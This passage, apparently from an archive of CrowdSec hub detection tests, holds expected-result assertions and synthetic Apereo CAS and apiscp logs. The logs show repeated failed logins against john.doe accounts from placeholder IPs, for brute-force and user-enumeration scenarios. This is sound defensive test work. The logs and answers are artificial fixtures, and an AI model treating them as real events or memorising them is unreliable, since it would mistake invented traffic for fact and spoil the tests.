results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "cas_failed-auth" results[0].Overflow.Alert.Events[0].GetMeta("service") == "cas" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.1.1.2" results[0].Overflow.Alert.Events[0].GetMeta("target_user") == "john.doe1" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "apereo-cas-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "cas_failed-auth" results[0].Overflow.Alert.Events[1].GetMeta("service") == "cas" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.1.1.2" results[0].Overflow.Alert.Events[1].GetMeta("target_user") == "john.doe2" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "apereo-cas-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "cas_failed-auth" results[0].Overflow.Alert.Events[2].GetMeta("service") == "cas" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.1.1.2" results[0].Overflow.Alert.Events[2].GetMeta("target_user") == "john.doe3" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "apereo-cas-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "cas_failed-auth" results[0].Overflow.Alert.Events[3].GetMeta("service") == "cas" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.1.1.2" results[0].Overflow.Alert.Events[3].GetMeta("target_user") == "john.doe4" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "apereo-cas-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "cas_failed-auth" results[0].Overflow.Alert.Events[4].GetMeta("service") == "cas" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.1.1.2" results[0].Overflow.Alert.Events[4].GetMeta("target_user") == "john.doe5" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "apereo-cas-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "cas_failed-auth" results[0].Overflow.Alert.Events[5].GetMeta("service") == "cas" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.1.1.2" results[0].Overflow.Alert.Events[5].GetMeta("target_user") == "john.doe6" results[0].Overflow.Alert.GetScenario() == "jusabatier/apereo-cas-bf_user-enum" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 "1.1.1.2" in results[1].Overflow.GetSources() results[1].Overflow.Sources["1.1.1.2"].IP == "1.1.1.2" results[1].Overflow.Sources["1.1.1.2"].Range == "" results[1].Overflow.Sources["1.1.1.2"].GetScope() == "Ip" results[1].Overflow.Sources["1.1.1.2"].GetValue() == "1.1.1.2" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "apereo-cas-bf.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "cas_failed-auth" results[1].Overflow.Alert.Events[0].GetMeta("service") == "cas" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.1.1.2" results[1].Overflow.Alert.Events[0].GetMeta("target_user") == "john.doe1" results[1].Overflow.Alert.Events[1].GetMeta("datasource_path") == "apereo-cas-bf.log" results[1].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[1].GetMeta("log_type") == "cas_failed-auth" results[1].Overflow.Alert.Events[1].GetMeta("service") == "cas" results[1].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.1.1.2" results[1].Overflow.Alert.Events[1].GetMeta("target_user") == "john.doe2" results[1].Overflow.Alert.Events[2].GetMeta("datasource_path") == "apereo-cas-bf.log" results[1].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[2].GetMeta("log_type") == "cas_failed-auth" results[1].Overflow.Alert.Events[2].GetMeta("service") == "cas" results[1].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.1.1.2" results[1].Overflow.Alert.Events[2].GetMeta("target_user") == "john.doe3" results[1].Overflow.Alert.Events[3].GetMeta("datasource_path") == "apereo-cas-bf.log" results[1].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[3].GetMeta("log_type") == "cas_failed-auth" results[1].Overflow.Alert.Events[3].GetMeta("service") == "cas" results[1].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.1.1.2" results[1].Overflow.Alert.Events[3].GetMeta("target_user") == "john.doe4" results[1].Overflow.Alert.Events[4].GetMeta("datasource_path") == "apereo-cas-bf.log" results[1].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[4].GetMeta("log_type") == "cas_failed-auth" results[1].Overflow.Alert.Events[4].GetMeta("service") == "cas" results[1].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.1.1.2" results[1].Overflow.Alert.Events[4].GetMeta("target_user") == "john.doe5" results[1].Overflow.Alert.Events[5].GetMeta("datasource_path") == "apereo-cas-bf.log" results[1].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[5].GetMeta("log_type") == "cas_failed-auth" results[1].Overflow.Alert.Events[5].GetMeta("service") == "cas" results[1].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.1.1.2" results[1].Overflow.Alert.Events[5].GetMeta("target_user") == "john.doe6" results[1].Overflow.Alert.GetScenario() == "jusabatier/apereo-cas-bf" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 6 "1.1.1.1" in results[2].Overflow.GetSources() results[2].Overflow.Sources["1.1.1.1"].IP == "1.1.1.1" results[2].Overflow.Sources["1.1.1.1"].Range == "" results[2].Overflow.Sources["1.1.1.1"].GetScope() == "Ip" results[2].Overflow.Sources["1.1.1.1"].GetValue() == "1.1.1.1" results[2].Overflow.Alert.Events[0].GetMeta("datasource_path") == "apereo-cas-bf.log" results[2].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[0].GetMeta("log_type") == "cas_failed-auth" results[2].Overflow.Alert.Events[0].GetMeta("service") == "cas" results[2].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.1.1.1" results[2].Overflow.Alert.Events[0].GetMeta("target_user") == "john.doe" results[2].Overflow.Alert.Events[1].GetMeta("datasource_path") == "apereo-cas-bf.log" results[2].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[1].GetMeta("log_type") == "cas_failed-auth" results[2].Overflow.Alert.Events[1].GetMeta("service") == "cas" results[2].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.1.1.1" results[2].Overflow.Alert.Events[1].GetMeta("target_user") == "john.doe" results[2].Overflow.Alert.Events[2].GetMeta("datasource_path") == "apereo-cas-bf.log" results[2].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[2].GetMeta("log_type") == "cas_failed-auth" results[2].Overflow.Alert.Events[2].GetMeta("service") == "cas" results[2].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.1.1.1" results[2].Overflow.Alert.Events[2].GetMeta("target_user") == "john.doe" results[2].Overflow.Alert.Events[3].GetMeta("datasource_path") == "apereo-cas-bf.log" results[2].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[3].GetMeta("log_type") == "cas_failed-auth" results[2].Overflow.Alert.Events[3].GetMeta("service") == "cas" results[2].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.1.1.1" results[2].Overflow.Alert.Events[3].GetMeta("target_user") == "john.doe" results[2].Overflow.Alert.Events[4].GetMeta("datasource_path") == "apereo-cas-bf.log" results[2].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[4].GetMeta("log_type") == "cas_failed-auth" results[2].Overflow.Alert.Events[4].GetMeta("service") == "cas" results[2].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.1.1.1" results[2].Overflow.Alert.Events[4].GetMeta("target_user") == "john.doe" results[2].Overflow.Alert.Events[5].GetMeta("datasource_path") == "apereo-cas-bf.log" results[2].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[5].GetMeta("log_type") == "cas_failed-auth" results[2].Overflow.Alert.Events[5].GetMeta("service") == "cas" results[2].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.1.1.1" results[2].Overflow.Alert.Events[5].GetMeta("target_user") == "john.doe" results[2].Overflow.Alert.GetScenario() == "jusabatier/apereo-cas-bf" results[2].Overflow.Alert.Remediation == true results[2].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/apereo-cas-slow-bf/000077500000000000000000000000001437532772500165425ustar00rootroot00000000000000hub1/.tests/apereo-cas-slow-bf/apereo-cas-slow-bf.log000066400000000000000000000137761437532772500226510ustar00rootroot000000000000002021-10-11 09:01:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe|1.1.1.1|8.8.8.8 2021-10-11 09:01:40,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe|1.1.1.1|8.8.8.8 2021-10-11 09:01:45,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe|1.1.1.1|8.8.8.8 2021-10-11 09:01:50,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe|1.1.1.1|8.8.8.8 2021-10-11 09:01:55,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe|1.1.1.1|8.8.8.8 2021-10-11 09:02:00,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe|1.1.1.1|8.8.8.8 2021-10-11 09:01:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe1, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe1|1.1.1.2|8.8.8.8 2021-10-11 09:01:40,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe2, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe2|1.1.1.2|8.8.8.8 2021-10-11 09:01:45,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe3, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe3|1.1.1.2|8.8.8.8 2021-10-11 09:01:50,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe4, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe4|1.1.1.2|8.8.8.8 2021-10-11 09:01:55,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe5, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe5|1.1.1.2|8.8.8.8 2021-10-11 09:02:00,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe6, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe6|1.1.1.2|8.8.8.8 2021-10-11 09:02:05,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe7, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe7|1.1.1.2|8.8.8.8 2021-10-11 09:02:10,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe8, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe8|1.1.1.2|8.8.8.8 2021-10-11 09:02:15,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe9, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe9|1.1.1.2|8.8.8.8 2021-10-11 09:02:20,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe10, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe10|1.1.1.2|8.8.8.8 2021-10-11 09:02:25,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe11, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe11|1.1.1.2|8.8.8.8 2021-10-11 09:02:30,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe|1.1.1.1|8.8.8.8 2021-10-11 09:02:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe|1.1.1.1|8.8.8.8 2021-10-11 09:02:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe|1.1.1.1|8.8.8.8 2021-10-11 09:02:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe|1.1.1.1|8.8.8.8 2021-10-11 09:02:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe|1.1.1.1|8.8.8.8 hub1/.tests/apereo-cas-slow-bf/config.yaml000066400000000000000000000004221437532772500206710ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - parsers/s01-parse/jusabatier/apereo-cas-audit-logs.yaml scenarios: - scenarios/jusabatier/apereo-cas-slow-bf.yaml postoverflows: - "" log_file: apereo-cas-slow-bf.log log_type: cas ignore_parsers: true hub1/.tests/apereo-cas-slow-bf/parser.assert000066400000000000000000000000001437532772500212470ustar00rootroot00000000000000hub1/.tests/apereo-cas-slow-bf/scenario.assert000066400000000000000000000250521437532772500215740ustar00rootroot00000000000000len(results) == 2 "1.1.1.2" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.1.1.2"].IP == "1.1.1.2" results[0].Overflow.Sources["1.1.1.2"].Range == "" results[0].Overflow.Sources["1.1.1.2"].GetScope() == "Ip" results[0].Overflow.Sources["1.1.1.2"].GetValue() == "1.1.1.2" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "apereo-cas-slow-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "cas_failed-auth" results[0].Overflow.Alert.Events[0].GetMeta("service") == "cas" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.1.1.2" results[0].Overflow.Alert.Events[0].GetMeta("target_user") == "john.doe1" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "apereo-cas-slow-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "cas_failed-auth" results[0].Overflow.Alert.Events[1].GetMeta("service") == "cas" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.1.1.2" results[0].Overflow.Alert.Events[1].GetMeta("target_user") == "john.doe2" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "apereo-cas-slow-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "cas_failed-auth" results[0].Overflow.Alert.Events[2].GetMeta("service") == "cas" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.1.1.2" results[0].Overflow.Alert.Events[2].GetMeta("target_user") == "john.doe3" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "apereo-cas-slow-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "cas_failed-auth" results[0].Overflow.Alert.Events[3].GetMeta("service") == "cas" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.1.1.2" results[0].Overflow.Alert.Events[3].GetMeta("target_user") == "john.doe4" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "apereo-cas-slow-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "cas_failed-auth" results[0].Overflow.Alert.Events[4].GetMeta("service") == "cas" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.1.1.2" results[0].Overflow.Alert.Events[4].GetMeta("target_user") == "john.doe5" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "apereo-cas-slow-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "cas_failed-auth" results[0].Overflow.Alert.Events[5].GetMeta("service") == "cas" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.1.1.2" results[0].Overflow.Alert.Events[5].GetMeta("target_user") == "john.doe6" results[0].Overflow.Alert.Events[6].GetMeta("datasource_path") == "apereo-cas-slow-bf.log" results[0].Overflow.Alert.Events[6].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[6].GetMeta("log_type") == "cas_failed-auth" results[0].Overflow.Alert.Events[6].GetMeta("service") == "cas" results[0].Overflow.Alert.Events[6].GetMeta("source_ip") == "1.1.1.2" results[0].Overflow.Alert.Events[6].GetMeta("target_user") == "john.doe7" results[0].Overflow.Alert.Events[7].GetMeta("datasource_path") == "apereo-cas-slow-bf.log" results[0].Overflow.Alert.Events[7].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[7].GetMeta("log_type") == "cas_failed-auth" results[0].Overflow.Alert.Events[7].GetMeta("service") == "cas" results[0].Overflow.Alert.Events[7].GetMeta("source_ip") == "1.1.1.2" results[0].Overflow.Alert.Events[7].GetMeta("target_user") == "john.doe8" results[0].Overflow.Alert.Events[8].GetMeta("datasource_path") == "apereo-cas-slow-bf.log" results[0].Overflow.Alert.Events[8].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[8].GetMeta("log_type") == "cas_failed-auth" results[0].Overflow.Alert.Events[8].GetMeta("service") == "cas" results[0].Overflow.Alert.Events[8].GetMeta("source_ip") == "1.1.1.2" results[0].Overflow.Alert.Events[8].GetMeta("target_user") == "john.doe9" results[0].Overflow.Alert.Events[9].GetMeta("datasource_path") == "apereo-cas-slow-bf.log" results[0].Overflow.Alert.Events[9].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[9].GetMeta("log_type") == "cas_failed-auth" results[0].Overflow.Alert.Events[9].GetMeta("service") == "cas" results[0].Overflow.Alert.Events[9].GetMeta("source_ip") == "1.1.1.2" results[0].Overflow.Alert.Events[9].GetMeta("target_user") == "john.doe10" results[0].Overflow.Alert.Events[10].GetMeta("datasource_path") == "apereo-cas-slow-bf.log" results[0].Overflow.Alert.Events[10].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[10].GetMeta("log_type") == "cas_failed-auth" results[0].Overflow.Alert.Events[10].GetMeta("service") == "cas" results[0].Overflow.Alert.Events[10].GetMeta("source_ip") == "1.1.1.2" results[0].Overflow.Alert.Events[10].GetMeta("target_user") == "john.doe11" results[0].Overflow.Alert.GetScenario() == "jusabatier/cas-slow-bf_user-enum" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 11 "1.1.1.2" in results[1].Overflow.GetSources() results[1].Overflow.Sources["1.1.1.2"].IP == "1.1.1.2" results[1].Overflow.Sources["1.1.1.2"].Range == "" results[1].Overflow.Sources["1.1.1.2"].GetScope() == "Ip" results[1].Overflow.Sources["1.1.1.2"].GetValue() == "1.1.1.2" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "apereo-cas-slow-bf.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "cas_failed-auth" results[1].Overflow.Alert.Events[0].GetMeta("service") == "cas" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.1.1.2" results[1].Overflow.Alert.Events[0].GetMeta("target_user") == "john.doe1" results[1].Overflow.Alert.Events[1].GetMeta("datasource_path") == "apereo-cas-slow-bf.log" results[1].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[1].GetMeta("log_type") == "cas_failed-auth" results[1].Overflow.Alert.Events[1].GetMeta("service") == "cas" results[1].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.1.1.2" results[1].Overflow.Alert.Events[1].GetMeta("target_user") == "john.doe2" results[1].Overflow.Alert.Events[2].GetMeta("datasource_path") == "apereo-cas-slow-bf.log" results[1].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[2].GetMeta("log_type") == "cas_failed-auth" results[1].Overflow.Alert.Events[2].GetMeta("service") == "cas" results[1].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.1.1.2" results[1].Overflow.Alert.Events[2].GetMeta("target_user") == "john.doe3" results[1].Overflow.Alert.Events[3].GetMeta("datasource_path") == "apereo-cas-slow-bf.log" results[1].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[3].GetMeta("log_type") == "cas_failed-auth" results[1].Overflow.Alert.Events[3].GetMeta("service") == "cas" results[1].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.1.1.2" results[1].Overflow.Alert.Events[3].GetMeta("target_user") == "john.doe4" results[1].Overflow.Alert.Events[4].GetMeta("datasource_path") == "apereo-cas-slow-bf.log" results[1].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[4].GetMeta("log_type") == "cas_failed-auth" results[1].Overflow.Alert.Events[4].GetMeta("service") == "cas" results[1].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.1.1.2" results[1].Overflow.Alert.Events[4].GetMeta("target_user") == "john.doe5" results[1].Overflow.Alert.Events[5].GetMeta("datasource_path") == "apereo-cas-slow-bf.log" results[1].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[5].GetMeta("log_type") == "cas_failed-auth" results[1].Overflow.Alert.Events[5].GetMeta("service") == "cas" results[1].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.1.1.2" results[1].Overflow.Alert.Events[5].GetMeta("target_user") == "john.doe6" results[1].Overflow.Alert.Events[6].GetMeta("datasource_path") == "apereo-cas-slow-bf.log" results[1].Overflow.Alert.Events[6].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[6].GetMeta("log_type") == "cas_failed-auth" results[1].Overflow.Alert.Events[6].GetMeta("service") == "cas" results[1].Overflow.Alert.Events[6].GetMeta("source_ip") == "1.1.1.2" results[1].Overflow.Alert.Events[6].GetMeta("target_user") == "john.doe7" results[1].Overflow.Alert.Events[7].GetMeta("datasource_path") == "apereo-cas-slow-bf.log" results[1].Overflow.Alert.Events[7].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[7].GetMeta("log_type") == "cas_failed-auth" results[1].Overflow.Alert.Events[7].GetMeta("service") == "cas" results[1].Overflow.Alert.Events[7].GetMeta("source_ip") == "1.1.1.2" results[1].Overflow.Alert.Events[7].GetMeta("target_user") == "john.doe8" results[1].Overflow.Alert.Events[8].GetMeta("datasource_path") == "apereo-cas-slow-bf.log" results[1].Overflow.Alert.Events[8].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[8].GetMeta("log_type") == "cas_failed-auth" results[1].Overflow.Alert.Events[8].GetMeta("service") == "cas" results[1].Overflow.Alert.Events[8].GetMeta("source_ip") == "1.1.1.2" results[1].Overflow.Alert.Events[8].GetMeta("target_user") == "john.doe9" results[1].Overflow.Alert.Events[9].GetMeta("datasource_path") == "apereo-cas-slow-bf.log" results[1].Overflow.Alert.Events[9].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[9].GetMeta("log_type") == "cas_failed-auth" results[1].Overflow.Alert.Events[9].GetMeta("service") == "cas" results[1].Overflow.Alert.Events[9].GetMeta("source_ip") == "1.1.1.2" results[1].Overflow.Alert.Events[9].GetMeta("target_user") == "john.doe10" results[1].Overflow.Alert.Events[10].GetMeta("datasource_path") == "apereo-cas-slow-bf.log" results[1].Overflow.Alert.Events[10].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[10].GetMeta("log_type") == "cas_failed-auth" results[1].Overflow.Alert.Events[10].GetMeta("service") == "cas" results[1].Overflow.Alert.Events[10].GetMeta("source_ip") == "1.1.1.2" results[1].Overflow.Alert.Events[10].GetMeta("target_user") == "john.doe11" results[1].Overflow.Alert.GetScenario() == "jusabatier/cas-slow-bf" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 11 hub1/.tests/apiscp-bf/000077500000000000000000000000001437532772500150205ustar00rootroot00000000000000hub1/.tests/apiscp-bf/apiscp-bf.log000066400000000000000000000030471437532772500173730ustar00rootroot000000000000001.2.3.4 - - [12/Jul/2022:11:45:00 -0400] "POST /apps/login HTTP/1.1" 200 1950 "https://mytestserver.com:2083/apps/login" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 1.2.3.4 - - [12/Jul/2022:11:45:01 -0400] "POST /apps/login HTTP/1.1" 200 1950 "https://mytestserver.com:2083/apps/login" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 1.2.3.4 - - [12/Jul/2022:11:45:01 -0400] "POST /apps/login HTTP/1.1" 200 1950 "https://mytestserver.com:2083/apps/login" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 1.2.3.4 - - [12/Jul/2022:11:45:02 -0400] "POST /apps/login HTTP/1.1" 200 1950 "https://mytestserver.com:2083/apps/login" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 1.2.3.4 - - [12/Jul/2022:11:45:02 -0400] "POST /apps/login HTTP/1.1" 200 1950 "https://mytestserver.com:2083/apps/login" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 1.2.3.4 - - [12/Jul/2022:11:45:02 -0400] "POST /apps/login HTTP/1.1" 200 1950 "https://mytestserver.com:2083/apps/login" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 1.2.3.4 - - [12/Jul/2022:11:45:03 -0400] "POST /apps/login HTTP/1.1" 200 1950 "https://mytestserver.com:2083/apps/login" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" hub1/.tests/apiscp-bf/config.yaml000066400000000000000000000005451437532772500171550ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/apache2-logs.yaml - 